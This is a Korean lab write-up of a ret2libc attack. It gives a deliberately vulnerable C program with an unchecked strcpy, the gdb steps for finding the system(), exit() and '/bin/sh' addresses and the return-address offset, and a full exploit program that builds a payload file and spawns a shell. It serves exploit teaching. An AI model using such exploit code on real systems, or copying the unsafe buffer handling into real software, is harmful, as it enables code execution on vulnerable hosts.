Ret2libc 공격

stack.c

#include <stdio.h>
#include <string.h>

int vul_func(char *str) {
	char buffer[50];
	printf("vul_func start\n");
	strcpy(buffer, str);
	printf("after strcpy, next : return\n");
	return 1;
}

int main(int argc, char **argv) {
	char str[240];
	FILE *badfile;

	badfile = fopen("badfile", "r");
	fread(str, sizeof(char), 200, badfile);
	vul_func(str);

	printf("Returned Properly\n");
	return 1;
}

Vulnerable한 함수 vul_func()가 존재한다.

gcc -m32 -fno-stack-protector -z noexecstack -o stack stack.c

스택실행이 불가능한 상황을 가정하고(noexecstack) 32비트로 컴파일한다, stack canary 제거

gdb stack

GDB로 디버깅 시작

a1.png p system, p exit을 통해 각 라이브러리 함수의 주소를 추출
system() : 0xf7c47cd0
exit() : 0xf7c3a1f0

"/bin/sh"의 주소를 얻기 위해 테스트 파일을 만든다.

checkbinsh.c

#include <stdio.h>
#include <stdlib.h>

int main() {
	char *shell = (char *)getenv("MYSHELL");
	if(shell){
		printf(" Value: %s\n", shell);
		printf(" Address: %x\n", (unsigned int)shell);
	}

	return 1;
}

MYSHELL 환경변수가 필요하므로 MYSHELL 환경변수를 등록해준다.

export MYSHELL="/bin/sh"

a2.png checkbinsh.c를 컴파일한다. 최종파일인 ./stack과 길이를 맞춰주기 위해 같은 5글자인 ./env55라는 이름으로 컴파일 했다.

⚠️"/bin/sh"의 주소는 파일 이름의 길이에 따라 달라진다! 만약 env7777이라는 이름으로 컴파일한다면 주소는 env55일때와 다르다.

이제, stack 바이너리파일에서 vul_func의 return address를 확인해야 한다. stack은 badfile자체가 페이로드로 봐도 되므로, badfile을 임의로 작성해준다.

vul_func()의 지역변수 buffer는 50바이트를 가지므로 badfile을 다음과 같이 작성해주었다. a3.png

A * 50 + B * 8 + C * 8 + D * 8 + E * 8, 총 96바이트 Payload

gdb stack
(gdb) disassemble vul_func

a4.png return 명령어의 주소를 알아낸다 : 0x0000121e <+81>

(gdb) b *vul_func+81
(gdb) r

vul_func()의 return 명령어에 break point를 걸고, 실행한다. a5.png $esp 부터 10개의 주소를 확인합니다. 43 = C이므로 CCCCDDDDDDDDEEEEEEEE가 스택에 들어간 것을 확인할 수 있다.
0xffffd39c: 0x43434343이 Return address임을 확인할 수 있다.
AAAA...AAAABBBBBBBBCCCC*CCCC*DDDDDDDDEEEEEEEE에서 리턴어드레스 시작부분은 *로 감싸여 있는 C 부분임을 알 수 있으며, 이 부분의 인덱스는 62이다. a6.png return address 보다 낮은 주소 어딘가에 dummy space 8바이트가 존재하여 buf(50) + saved EBP(4) = 54가 아닌 62부터 시작한다. 우리는 이 부분을 아래와 같이 오염시켜야 한다. a7.png

  • 먼저 return address를 system()주소로 오염시켜 라이브러리에 있는 system() 함수를 호출한다.

이 함수는 파라미터로 +8 주소의 내용을 파라미터로 받으므로 return address+8의 주소는 system()의 파라미터로 "/bin/sh"의 주소인 0xffffd73d를 넘겨준다.

  • system()함수가 종료되면 (쉘이 종료되면) system()의 return address를 exit()라이브러리 함수 호출로 다시 오염시켜 정상 종료처럼 보이게 만든다.
  • 따라서 위 그림과 같이 높은 스택부터 차례로 system(), exit(), “/bin/sh”이 들어가야 한다.

ret_to_libc_exploit.c

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
        char buf[200];
        FILE *badfile;

        memset(buf, 0xaa, 200); //fill the buffer with non-zeros

        *(long *) &buf[70] = 0xffffd73d ; //bin sh
        *(long *) &buf[66] = 0xf7c3a1f0 ; //exit()
        *(long *) &buf[62] = 0xf7c47cd0 ; //system()

        badfile = fopen("./badfile", "w");
        fwrite(buf, sizeof(buf), 1, badfile);
        fclose(badfile);
}

badfile payload를 작성하기 위해 위와 같은 프로그램을 만든다. 0x00(Null문자)가 들어가면 프로그램이 인식을 하지 못하기 때문에 방지를 위하여 0xaa로 버퍼를 가득 채우고 시작한다.

gcc -m32 -o ret_to_libc_exploit ret_to_libc_exploit.c
./ret_to_libc_exploit
./stack

a8.png

bin/sh 이 열리는 모습을 확인할 수 있다.